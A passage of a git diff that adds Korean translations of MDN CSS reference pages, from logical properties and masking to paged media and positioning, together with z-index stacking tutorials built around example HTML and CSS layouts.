+      </li>
+      <li>item</li>      <!-- 2.4   -->
+    </ol>
+  </li>
+  <li>item</li>          <!-- 3     -->
+  <li>item</li>          <!-- 4     -->
+</ol>
+<ol>
+  <li>item</li>          <!-- 1     -->
+  <li>item</li>          <!-- 2     -->
+</ol>
+ +

결과

+ +

{{EmbedLiveSample("Example_of_a_nested_counter", "100%", 350)}}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Lists", "#auto-numbering", "CSS Counters")}}{{Spec2("CSS3 Lists")}}No change
{{SpecName("CSS2.1", "generate.html#counters", "CSS Counters")}}{{Spec2("CSS2.1")}}Initial definition
+ +

See also

+ +
    +
  • {{cssxref("counter-reset")}}
  • +
  • {{cssxref("counter-increment")}}
  • +
  • {{cssxref("@counter-style")}}
  • +
diff --git a/files/ko/web/css/css_logical_properties/index.html b/files/ko/web/css/css_logical_properties/index.html new file mode 100644 index 0000000000..e46148c67f --- /dev/null +++ b/files/ko/web/css/css_logical_properties/index.html @@ -0,0 +1,136 @@ +--- +title: CSS Logical Properties and Values +slug: Web/CSS/CSS_Logical_Properties +tags: + - CSS + - CSS Logical Properties + - Overview + - Reference +translation_of: Web/CSS/CSS_Logical_Properties +--- +
{{CSSRef}}
+ +

CSS Logical Properties and Values는 레이아웃을 제어하는 물리 속성에 논리 맵핑을 정의하는 CSS 모듈입니다.

+ +

블록과 인라인

+ +

Logical properties and values use the abstract terms block and inline to describe the direction in which they flow. The physical meaning of these terms depends on the writing mode.

+ +
+
블록 치수
+
The dimension perpendicular to the flow of text within a line, i.e., the vertical dimension in horizontal writing modes, and the horizontal dimension in vertical writing modes. For standard English text, it is the vertical dimension.
+
인라인 치수
+
The dimension parallel to the flow of text within a line, i.e., the horizontal dimension in horizontal writing modes, and the vertical dimension in vertical writing modes. For standard English text, it is the horizontal dimension.
+
+ +

참고서

+ +

크기 속성

+ +
+
    +
  • {{CSSxRef("block-size")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("inline-size")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("max-block-size")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("max-inline-size")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("min-block-size")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("min-inline-size")}} {{Experimental_Inline}}
  • +
+
+ +

안팎 여백, 테두리 속성

+ +
+
    +
  • {{CSSxRef("border-block")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-block-color")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-block-end")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-block-end-color")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-block-end-style")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-block-end-width")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-block-start")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-block-start-color")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-block-start-style")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-block-start-width")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-block-style")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-block-width")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-color")}} (logical {{Experimental_Inline}} keyword)
  • +
  • {{CSSxRef("border-inline")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-inline-color")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-inline-end")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-inline-end-color")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-inline-end-style")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-inline-end-width")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-inline-start")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-inline-start-color")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-inline-start-style")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-inline-start-width")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-inline-style")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-inline-width")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-start-start-radius")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-start-end-radius")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-end-start-radius")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-end-end-radius")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("border-style")}} (logical {{Experimental_Inline}} keyword)
  • +
  • {{CSSxRef("border-width")}} (logical {{Experimental_Inline}} keyword)
  • +
  • {{CSSxRef("margin")}} (logical {{Experimental_Inline}} keyword)
  • +
  • {{CSSxRef("margin-block")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("margin-block-end")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("margin-block-start")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("margin-inline")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("margin-inline-end")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("margin-inline-start")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("padding")}} (logical {{Experimental_Inline}} keyword)
  • +
  • {{CSSxRef("padding-block")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("padding-block-end")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("padding-block-start")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("padding-inline")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("padding-inline-end")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("padding-inline-start")}} {{Experimental_Inline}}
  • +
+
+ +

플로트와 위치 속성

+ +
+
    +
  • {{CSSxRef("clear")}} (inline-end {{Experimental_Inline}} and inline-start {{Experimental_Inline}} keywords)
  • +
  • {{CSSxRef("float")}} (inline-end {{Experimental_Inline}} and inline-start {{Experimental_Inline}} keywords)
  • +
  • {{CSSxRef("inset")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("inset-block")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("inset-block-end")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("inset-block-start")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("inset-inline")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("inset-inline-end")}} {{Experimental_Inline}}
  • +
  • {{CSSxRef("inset-inline-start")}} {{Experimental_Inline}}
  • +
+
+ +

기타 속성

+ +
+
    +
  • {{CSSxRef("caption-side")}} (inline-end {{Experimental_Inline}} and inline-start {{Experimental_Inline}} keywords)
  • +
  • {{CSSxRef("resize")}} {{Experimental_Inline}} (block {{Experimental_Inline}} and inline {{Experimental_Inline}} keywords)
  • +
  • {{CSSxRef("text-align")}} (end {{Experimental_Inline}} and start {{Experimental_Inline}} keywords)
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS Logical Properties')}}{{Spec2('CSS Logical Properties')}}초기 정의
diff --git a/files/ko/web/css/css_masks/index.html b/files/ko/web/css/css_masks/index.html new file mode 100644 index 0000000000..5a48e0af6e --- /dev/null +++ b/files/ko/web/css/css_masks/index.html @@ -0,0 +1,68 @@ +--- +title: CSS Masking +slug: Web/CSS/CSS_Masks +tags: + - CSS + - CSS Masking + - Overview + - Reference +translation_of: Web/CSS/CSS_Masking +--- +
{{CSSRef}}
+ +

CSS Masking은 마스킹 및 클리핑을 포함해 시각 요소의 부분 또는 전체를 숨기기 위한 수단을 정의하는 CSS 모듈입니다.

+ +

참고서

+ +

속성

+ +
+
    +
  • {{cssxref("clip")}} {{deprecated_inline}}
  • +
  • {{cssxref("clip-path")}}
  • +
  • {{cssxref("clip-rule")}}
  • +
  • {{cssxref("mask")}}
  • +
  • {{cssxref("mask-border")}}
  • +
  • {{cssxref("mask-border-mode")}}
  • +
  • {{cssxref("mask-border-outset")}}
  • +
  • {{cssxref("mask-border-repeat")}}
  • +
  • {{cssxref("mask-border-slice")}}
  • +
  • {{cssxref("mask-border-source")}}
  • +
  • {{cssxref("mask-border-width")}}
  • +
  • {{cssxref("mask-clip")}}
  • +
  • {{cssxref("mask-composite")}}
  • +
  • {{cssxref("mask-image")}}
  • +
  • {{cssxref("mask-mode")}}
  • +
  • {{cssxref("mask-origin")}}
  • +
  • {{cssxref("mask-position")}}
  • +
  • {{cssxref("mask-repeat")}}
  • +
  • {{cssxref("mask-size")}}
  • +
  • {{cssxref("mask-type")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName("CSS Masks")}}{{Spec2("CSS Masks")}} 
{{SpecName('SVG1.1', 'masking.html#MaskProperty', 'mask')}}{{Spec2('SVG1.1')}}초기 정의
+ +
 
diff --git a/files/ko/web/css/css_miscellaneous/index.html b/files/ko/web/css/css_miscellaneous/index.html new file mode 100644 index 0000000000..fbd9a1fbc9 --- /dev/null +++ b/files/ko/web/css/css_miscellaneous/index.html @@ -0,0 +1,43 @@ +--- +title: CSS Miscellaneous +slug: Web/CSS/CSS_Miscellaneous +tags: + - CSS + - Overview + - Reference +translation_of: Web/CSS/CSS_Miscellaneous +--- +
{{CSSRef}}
+ +

이 페이지는 한참 실험 중이거나 다른 어떤 부류와도 맞지 않은 CSS 속성을 포함합니다.

+ +

참고

+ +

속성

+ +
+
    +
  • {{cssxref("all")}}
  • +
  • {{cssxref("clip")}}
  • +
  • {{cssxref("clip-path")}}
  • +
  • {{cssxref("display")}}
  • +
  • {{cssxref("ime-mode")}}
  • +
  • {{cssxref("initial-letter")}}
  • +
  • {{cssxref("initial-letter-align")}}
  • +
  • {{cssxref("mask-type")}}
  • +
  • {{cssxref("text-rendering")}}
  • +
  • {{cssxref("will-change")}}
  • +
+
+ +

안내서

+ +

없음.

+ +

스펙

+ +

이 속성은 서로 거의 관련이 없습니다. 스펙은 개별 페이지를 참조하세요.

+ +

브라우저 호환성

+ +

이 속성은 서로 거의 관련이 없습니다. 브라우저 내 가용성은 개별 페이지를 참조하세요.

diff --git a/files/ko/web/css/css_namespaces/index.html b/files/ko/web/css/css_namespaces/index.html new file mode 100644 index 0000000000..d3082bdb8b --- /dev/null +++ b/files/ko/web/css/css_namespaces/index.html @@ -0,0 +1,42 @@ +--- +title: CSS Namespaces +slug: Web/CSS/CSS_Namespaces +tags: + - CSS + - CSS Namespaces + - Overview + - Reference +translation_of: Web/CSS/CSS_Namespaces +--- +
{{CSSRef}}
+ +

CSS Namespaces는 CSS에서 XML 네임스페이스를 지정할 수 있는 CSS 모듈입니다.

+ +

참고서

+ +

@규칙

+ +
+
    +
  • {{cssxref("@namespace")}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName("CSS3 Namespaces")}}{{Spec2("CSS3 Namespaces")}}초기 정의
diff --git a/files/ko/web/css/css_pages/index.html b/files/ko/web/css/css_pages/index.html new file mode 100644 index 0000000000..72f7f39dd3 --- /dev/null +++ b/files/ko/web/css/css_pages/index.html @@ -0,0 +1,73 @@ +--- +title: CSS Paged Media +slug: Web/CSS/CSS_Pages +tags: + - CSS + - CSS Paged Media + - CSS Reference + - Overview +translation_of: Web/CSS/CSS_Pages +--- +
{{CSSRef}}
+ +

CSS Paged Media는 페이지 전환을 처리하는 방법을 정의하는 CSS 모듈입니다.

+ +

참고서

+ +

CSS 속성

+ +
+
    +
  • {{cssxref("page-break-after")}}
  • +
  • {{cssxref("page-break-before")}}
  • +
  • {{cssxref("page-break-inside")}}
  • +
+
+ +

@규칙

+ +
+
    +
  • {{cssxref('@page')}}
  • +
+
+ +

의사 클래스

+ +
+
    +
  • {{cssxref(':blank')}}
  • +
  • {{cssxref(':first')}}
  • +
  • {{cssxref(':left')}}
  • +
  • {{cssxref(':right')}}
  • +
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS3 Paged Media')}}{{Spec2('CSS3 Paged Media')}} 
{{SpecName('CSS3 Fragmentation')}}{{Spec2('CSS3 Fragmentation')}} 
{{SpecName('CSS2.1')}}{{Spec2('CSS2.1')}} 
diff --git a/files/ko/web/css/css_positioning/index.html b/files/ko/web/css/css_positioning/index.html new file mode 100644 index 0000000000..bd2a5f4f33 --- /dev/null +++ b/files/ko/web/css/css_positioning/index.html @@ -0,0 +1,61 @@ +--- +title: CSS Positioning +slug: Web/CSS/CSS_Positioning +tags: + - CSS + - CSS Positioning + - Overview + - Reference +translation_of: Web/CSS/CSS_Positioning +--- +
{{CSSRef}}
+ +

CSS Positioning은 요소를 페이지에 배치하는 방법을 정의하는 CSS 모듈입니다.

+ +

참고서

+ +

CSS 속성

+ +
+
    +
  • {{cssxref("bottom")}}
  • +
  • {{cssxref("clear")}}
  • +
  • {{cssxref("float")}}
  • +
  • {{cssxref("left")}}
  • +
  • {{cssxref("position")}}
  • +
  • {{cssxref("right")}}
  • +
  • {{cssxref("top")}}
  • +
  • {{cssxref("z-index")}}
  • +
+
+ +

안내서

+ +
+
CSS z-index 이해하기
+
쌓임 문맥의 개념을 소개하고 몇 가지 예와 함께 z축 순서의 동작을 설명합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
스펙상태설명
{{ SpecName('CSS3 Positioning') }}{{ Spec2('CSS3 Positioning') }} 
{{ SpecName('CSS2.1', 'visuren.html') }}{{ Spec2('CSS2.1') }} 
diff --git a/files/ko/web/css/css_positioning/understanding_z_index/adding_z-index/index.html b/files/ko/web/css/css_positioning/understanding_z_index/adding_z-index/index.html new file mode 100644 index 0000000000..9621937b5f --- /dev/null +++ b/files/ko/web/css/css_positioning/understanding_z_index/adding_z-index/index.html @@ -0,0 +1,157 @@ +--- +title: z-index 적용 +slug: Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index +--- +

« CSS « CSS z-index 이해하기

+

{{ cssxref("z-index") }} 적용

+

처음 예제에서(z-index가 없는 경우의 쌓임) 엘리먼트들이 기본적으로 어떻게 쌓이는지 설명했다. 만약 다른 쌓임 순서를 적용하고 싶다면 먼저 엘리먼트에 {{ cssxref("position") }} 속성을 지정하고 {{ cssxref("z-index") }} 속성을 지정해야한다. 

+

z-index 속성은 하나의 정수 값을 가질 수 있다(양수, 음수 모두 가능하다). 이 값은 해당 엘리먼트의 z축 상의 위치를 나타낸다. 만약 당신이 z축에 익숙하지 않다면 여러 레이어가 쌓여있는 페이지를 상상해보라. 각 레이어는 번호가 붙어있고 높은 번호를 가진 레이어는 낮은 번호를 가진 레이어 위에 렌더링된다. 

+

다시한번 경고! z-index는 position 속성이 설정된 엘리먼트에 대해서만 의미를 갖는다.

+
    +
  • 가장 아래(사용자로부터 가장 멀다)
  • +
  • ...
  • +
  • Layer -3
  • +
  • Layer -2
  • +
  • Layer -1
  • +
  • Layer 0 기본 렌더링 레이어
  • +
  • Layer 1
  • +
  • Layer 2
  • +
  • Layer 3
  • +
  • ...
  • +
  • 가장 위(사용자로부터 가장 가깝다)
  • +
+
+

노트:

+
    +
  • z-index 속성을 지정하지 않으면 엘리먼트는 기본 렌더링 레이어(레이어 0)에 렌더링된다. 
  • +
  • 만약 몇개의 엘리먼트들이 같은 z-index 속성 값을 가지면 (엘리먼트들이 같은 레이어에 위치한다) z-index가 없는 경우의 쌓임 쌓임 규칙을 적용한다.
  • +
+
+

다음 예제에서는 레이어들의 쌓임 순서가 z-index를 이용하여 바뀌어있다. DIV#5는 position 속성이 지정되지 않았으므로 z-index 속성 값은 쌓임 순서를 결정하는데에 아무 영향을 미치지 않는다. 

+

Example of stacking rules modified using z-index

+

Example source code

+
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head><style type="text/css">
+
+div {
+   opacity: 0.7;
+   font: 12px Arial;
+}
+
+span.bold { font-weight: bold; }
+
+#normdiv {
+   z-index: 8;
+   height: 70px;
+   border: 1px dashed #999966;
+   background-color: #ffffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#reldiv1 {
+   z-index: 3;
+   height: 100px;
+   position: relative;
+   top: 30px;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#reldiv2 {
+   z-index: 2;
+   height: 100px;
+   position: relative;
+   top: 15px;
+   left: 20px;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#absdiv1 {
+   z-index: 5;
+   position: absolute;
+   width: 150px;
+   height: 350px;
+   top: 10px;
+   left: 10px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+#absdiv2 {
+   z-index: 1;
+   position: absolute;
+   width: 150px;
+   height: 350px;
+   top: 10px;
+   right: 10px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+</style></head>
+
+<body>
+
+<br /><br />
+
+<div id="absdiv1">
+   <br /><span class="bold">DIV #1</span>
+   <br />position: absolute;
+   <br />z-index: 5;
+</div>
+
+<div id="reldiv1">
+   <br /><span class="bold">DIV #2</span>
+   <br />position: relative;
+   <br />z-index: 3;
+</div>
+
+<div id="reldiv2">
+   <br /><span class="bold">DIV #3</span>
+   <br />position: relative;
+   <br />z-index: 2;
+</div>
+
+<div id="absdiv2">
+   <br /><span class="bold">DIV #4</span>
+   <br />position: absolute;
+   <br />z-index: 1;
+</div>
+
+<div id="normdiv">
+   <br /><span class="bold">DIV #5</span>
+   <br />no positioning
+   <br />z-index: 8;
+</div>
+
+</body></html>
+
+

See also

+ +
+

Original Document Information

+ +
+

{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Ajout_de_z-index" } ) }}

diff --git a/files/ko/web/css/css_positioning/understanding_z_index/index.html b/files/ko/web/css/css_positioning/understanding_z_index/index.html new file mode 100644 index 0000000000..2887faf021 --- /dev/null +++ b/files/ko/web/css/css_positioning/understanding_z_index/index.html @@ -0,0 +1,32 @@ +--- +title: CSS z-index 이해하기 +slug: Web/CSS/CSS_Positioning/Understanding_z_index +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index +--- +

우리들은 HTML 페이지를 2차원 평면으로 생각한다. 왜냐하면 여러 텍스트, 이미지와 다른 엘리먼트들이 서로 겹치지 않고 배열되기 때문이다. 하나의 렌더링 흐름만이 존재하며 모든 엘리먼트들은 다른 엘리먼트들이 어떤 공간을 차지하고 있는지 알고 있다. 

+
+

In CSS 2.1, each box has a position in three dimensions. In addition to their horizontal and vertical positions, boxes lie along a "z-axis" and are formatted one on top of the other. Z-axis positions are particularly relevant when boxes overlap visually.

+
+

(from CSS 2.1 Section 9.9.1 - Layered presentation)

+

위에 소개된 CSS 스타일 규칙을 보면 기본 렌더링 레이어(layer 0) 이외의 추가적인 레이어를 생성하고 여기에 박스를 위치시킬수 있다는 것을 알 수 있다. 레이어의 Z축 위치는 렌더링 될 때 쌓임 순서를 결정하는 하나의 정수로 결정된다. 큰 정수는 화면을 보고있는 사용자에게 가까운 것을 의미한다. Z축 위치는 {{ cssxref("z-index") }} 속성 값을 설정함으로써 바꿀 수 있다.

+

엘리먼트의 Z축 위치를 결정하는 것은 굉장히 간단해 보인다. {{ cssxref("z-index") }} 라는 하나의 프로퍼티를 사용하고 이 프로퍼티는 하나의 정수 값을 가진다.  그러나 {{ cssxref("z-index") }} 속성이 복잡한 HTML 계층적 엘리먼트들에 지정되었을 때에는 동작을 이해하기 힘들고 심지어 예측하지 못할 때도 있다. 이것은 엘리먼트들의 쌓임 순서를 결정하는 규칙(이하 쌓임 규칙)이 복잡하기 때문이다. 오로지 이 규칙만을 설명하기 위한 CSS 명세 섹션이 있을 정도다. (CSS-2.1 Appendix E)

+

이 문서에서는 몇가지 간단한 예를 들어 쌓임 규칙에 대해 설명하려고 한다. 

+
    +
  1. z-index가 없는 경우의 쌓임 : 기본 쌓임 규칙
  2. +
  3. floating 엘리먼트의 쌓임 : floating 엘리먼트들은 어떻게 다루어지는가
  4. +
  5. z-index 적용 : 기본 쌓임 순서를 변경하기 위해 z-index 사용하기
  6. +
  7. 쌓임 맥락(stacking context) 이야기 : 쌓임 맥락(stacking context) 이야기 
  8. +
  9. 쌓임 맥락 예제1 : 2레벨 HTML 계층구조, 마지막 레벨에서 z-index가 지정된 경우
  10. +
  11. 쌓임 맥락 예제2 : 2레벨 HTML 계층구조, 모든 레벨에서 z-index가 지정된 경우
  12. +
  13. 쌓임 맥락 예제3 : 3레벨 HTML 계층구조, 두번째 레벨에서 z-index가 지정된 경우
  14. +
+

저자의 말: 검토를 해준 Wladimir Palant씨와 Rod Whiteley씨에게 감사의 말을 전합니다.

+
+

원본 문서 정보

+ +
+

{{ languages( { "fr": "fr/CSS/Comprendre_z-index" } ) }} 

diff --git a/files/ko/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html b/files/ko/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html new file mode 100644 index 0000000000..4430c5cdf3 --- /dev/null +++ b/files/ko/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html @@ -0,0 +1,146 @@ +--- +title: floating 엘리먼트의 쌓임 +slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float +--- +

« CSS « CSS z-index 이해하기

+

floating 엘리먼트의 쌓임

+

floating 엘리먼트들의 쌓임 순서는 약간 다르다. floating 엘리먼트들은 position이 지정된 블록과 지정되지 않은 블록 사이에 쌓인다. 

+
    +
  1. 뿌리 엘리먼트의 배경과 테두리
  2. +
  3. 자식 엘리먼트들은 HTML에서 등장하는 순서대로
  4. +
  5. floating 엘리먼트
  6. +
  7. position이 지정된 자식 엘리먼트들은 HTML에서 등장하는 순서대로 
  8. +
+

사실 다음 예제에서 보는 것처럼 position이 지정되지 않은 엘리먼트(DIV #4)의 배경과 테두리는 floating 엘리먼트들에 의해 영향을 받지 않는다. 반면 컨텐츠는 영향을 받는다. 이것은 CSS 표준 float 명세에 따른 것이다. 

+

위의 규칙 리스트를 수정하여 이 명세를 포함시켜보자. 

+
    +
  1. 뿌리 엘리먼트의 배경과 테두리
  2. +
  3. 자식 엘리먼트들은 HTML에서 등장하는 순서대로 
  4. +
  5. floating 엘리먼트
  6. +
  7. inline 자식 엘리먼트는 보통의 흐름대로
  8. +
  9. position이 지정된 자식 엘리먼트들은 HTML에서 등장하는 순서대로 
  10. +
+
+ 노트: 아래 예제에서 position이 지정되지 않은 엘리먼트 이외에는 모든 엘리먼트가 쌓임 순서를 보여주기 위해 반투명하게 설정되었다. 만약 position이 지정되지 않은 엘리먼트 (DIV #4)의 투명도를 낮추면 이상한 일이 일어난다. 배경과 테두리가 (원래에는 floating 엘리먼트 아래에 있어야 함에도 불구하고) floating 엘리먼트와 position이 지정된 엘리먼트 사이에 보이는 것이다. 이것이 명세의 일부인지 아니면 버그인지 확실하지 않다. 투명도를 적용하는것이 새로운 쌓임 맥락(stacking context)를 만드는 것일까?
+

Example of stacking rules with floating boxes

+

Example source code

+
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head><style type="text/css">
+
+div {
+   font: 12px Arial;
+}
+
+span.bold { font-weight: bold; }
+
+#absdiv1 {
+   opacity: 0.7;
+   position: absolute;
+   width: 150px;
+   height: 200px;
+   top: 10px;
+   right: 140px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+#normdiv {
+   /*opacity: 0.7;*/
+   height: 100px;
+   border: 1px dashed #999966;
+   background-color: #ffffcc;
+   margin: 0px 10px 0px 10px;
+   text-align: left;
+}
+
+#flodiv1 {
+   opacity: 0.7;
+   margin: 0px 10px 0px 20px;
+   float: left;
+   width: 150px;
+   height: 200px;
+   border: 1px dashed #009900;
+   background-color: #ccffcc;
+   text-align: center;
+}
+
+#flodiv2 {
+   opacity: 0.7;
+   margin: 0px 20px 0px 10px;
+   float: right;
+   width: 150px;
+   height: 200px;
+   border: 1px dashed #009900;
+   background-color: #ccffcc;
+   text-align: center;
+}
+
+#absdiv2 {
+   opacity: 0.7;
+   position: absolute;
+   width: 150px;
+   height: 100px;
+   top: 130px;
+   left: 100px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+</style></head>
+
+<body>
+
+<br /><br />
+
+<div id="absdiv1">
+<br /><span class="bold">DIV #1</span>
+<br />position: absolute;
+</div>
+
+<div id="flodiv1">
+<br /><span class="bold">DIV #2</span>
+<br />float: left;
+</div>
+
+<div id="flodiv2">
+<br /><span class="bold">DIV #3</span>
+<br />float: right;
+</div>
+
+<br />
+
+<div id="normdiv">
+<br /><span class="bold">DIV #4</span>
+<br />no positioning
+</div>
+
+<div id="absdiv2">
+<br /><span class="bold">DIV #5</span>
+<br />position: absolute;
+</div>
+
+</body></html>
+
+

See also

+ +
+

Original Document Information

+ +
+

{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Empilement_et_float" } ) }}

diff --git a/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html b/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html new file mode 100644 index 0000000000..9444e2bb5e --- /dev/null +++ b/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html @@ -0,0 +1,120 @@ +--- +title: 쌓임 맥락 예제1 +slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1 +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1 +--- +

« CSS « CSS z-index 이해하기

+

쌓임 맥락 예제1

+

기본 예제부터 시작하자. 쌓임 맥락의 뿌리에는 두개의 DIV #1과 DIV #3가 있다. 두 DIV는 모두 position 속성 값이 relative로 지정되었지만 z-index 속성 값은 지정되지 않았다. DIV #1 안에는 position 속성 값이 absolute로 지정된 DIV #2가 있고 DIV #3 안에도 position 속성 값이 absolute가 지정된 DIV #4가 있다. DIV #2와ㅏ DIV #4 모두 z-index 속성 값은 지정되지 않았다. 

+

유일한 쌓임 맥락은 뿌리 엘리먼트다. z-index가 없는 엘리먼트들은 HTML 문서에서 등장 순서대로 쌓인다. 

+

Stacking context example 1

+

DIV #2의 z-index 속성 값을 0또는 auto가 아닌 양의 정수로 지정하면 다른 DIV들 보다 위에 렌더링된다. 

+

Stacking context example 1

+

DIV #4의 z-index 속성 값을 DIV #2의 z-index 속성 값보다 큰 값으로 지정하면 DIV #4는 DIV #2보다 위에 렌더링된다. 

+

Stacking context example 1

+

마지막 예제에서 DIV #2와 DIV #4는 형제가 아니다. 왜냐하면 둘의 부모가 다르기 때문이다. 그럼에도 불구하고 DIV #2와 DIV #4의 쌓임 순서를 z-index 속성 값을 지정함으로써 바꿀 수 있었다. 왜냐하면 DIV #1과 DIV #3은 z-index 속성 값이 지정되지 않았고 따라서 쌓임 맥락을 만들지 않았기 때문이다. 따라서 DIV #2와 DIV #4는 둘 다 뿌리 엘리먼트의 쌓임 맥락에 속해있고, z-index 속성 값을 변경하여 쌓임 순서를 바꿀 수 있다. 

+

쌓임 맥락의 용어로 설명하자면 DIV #1과 DIV #3은 뿌리 엘리먼트에 동화되었다. 이 예제의 DIV들은 다음과 같은 쌓임 맥락 계층 구조를 이룬다. 

+
    +
  • 뿌리 쌓임 맥락 +
      +
    • DIV #2 (z-index 1)
    • +
    • DIV #4 (z-index 2)
    • +
    +
  • +
+
+ Note: DIV #1과 DIV #3은 투명하지 않다. 투명도를 1보다 적은 값으로 지정하게 되면 내부적으로 쌓임 맥락을 만든다는걸 기억하자. 이건 마치 z-index 값을 설정한 것과 비슷하다. 이 예제는 부모 엘리먼트들이 쌓임 맥락을 형성하지 않을 때 어떤 일이 일어나는지 보여준다. 
+

예제 소스 코드

+
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head><style type="text/css">
+
+div { font: 12px Arial; }
+
+span.bold { font-weight: bold; }
+
+#div1,#div3 {
+   height: 80px;
+   position: relative;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   padding-left: 5px;
+}
+
+#div2 {
+   opacity: 0.8;
+   z-index: 1;
+   position: absolute;
+   width: 150px;
+   height: 200px;
+   top: 20px;
+   left: 170px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+#div4 {
+   opacity: 0.8;
+   z-index: 2;
+   position: absolute;
+   width: 200px;
+   height: 70px;
+   top: 65px;
+   left: 50px;
+   border: 1px dashed #000099;
+   background-color: #ddddff;
+   text-align: left;
+   padding-left: 10px;
+}
+
+
+</style></head>
+
+<body>
+
+<br />
+
+<div id="div1">
+<br /><span class="bold">DIV #1</span>
+<br />position: relative;
+   <div id="div2">
+   <br /><span class="bold">DIV #2</span>
+   <br />position: absolute;
+   <br />z-index: 1;
+   </div>
+</div>
+
+<br />
+
+<div id="div3">
+<br /><span class="bold">DIV #3</span>
+<br />position: relative;
+   <div id="div4">
+   <br /><span class="bold">DIV #4</span>
+   <br />position: absolute;
+   <br />z-index: 2;
+   </div>
+</div>
+
+</body></html>
+
+

See also

+ +
+

Original Document Information

+ +
+

{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Exemple_d'empilement_1" } ) }}

